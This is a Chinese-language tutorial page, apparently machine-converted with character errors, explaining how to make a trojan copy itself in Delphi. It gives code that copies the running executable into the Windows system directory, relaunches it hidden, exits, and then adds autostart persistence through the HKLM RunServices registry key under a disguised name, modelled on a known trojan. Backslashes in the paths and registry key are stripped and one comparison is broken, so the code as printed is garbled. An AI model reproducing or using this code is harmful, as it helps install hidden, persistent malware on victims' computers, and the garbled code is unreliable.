Delphi完成木馬自我拷貝辦法。本站提示廣大學習愛好者:(Delphi完成木馬自我拷貝辦法)文章只能為提供參考,不一定能成為您想要的結果。以下是Delphi完成木馬自我拷貝辦法正文
木馬完成自我拷貝的原理是順序運轉時先檢查自己是不是在特定目錄下,假如是就持續運轉,假如不是就把自己拷貝到特定目錄下,然後運轉新順序,繼而加入舊順序.
本例即以Delphi完成木馬的自我拷貝。
首先翻開Delphi,新建一個工程,在窗口的Create事情中寫入如下代碼:
procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //取得文件名 if application.Exename <> GetWindir + myname then //假如文件不是在WindowsSystem那麼.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下} Winexec(pchar(GetWindir + myname), sw_hide);//運轉WindowsSystem下的新文件 application.Terminate;//加入 end; end;
其中GetWinDir是自定義函數,起功用是找出WindowsSystem的途徑.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使順序能在windows啟動時自動啟動?
為了順序能在Windows每次啟動時自動運轉,可以經過以下途徑來完成.“冰河”用注冊表的方式。
參加Registry單元,改寫下面的窗口Create事情,改寫後的順序如下:
procedure TForm1.FormCreate(Sender: TObject); const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices'; var myname: string; begin myname := ExtractFilename(Application.Exename); //取得文件名 if application.Exename <> GetWindir + myname then //假如文件不是在WindowsSystem那麼.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下} Winexec(pchar(GetWindir + myname), sw_hide);//運轉WindowsSystem下的新文件 application.Terminate;//加入 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end;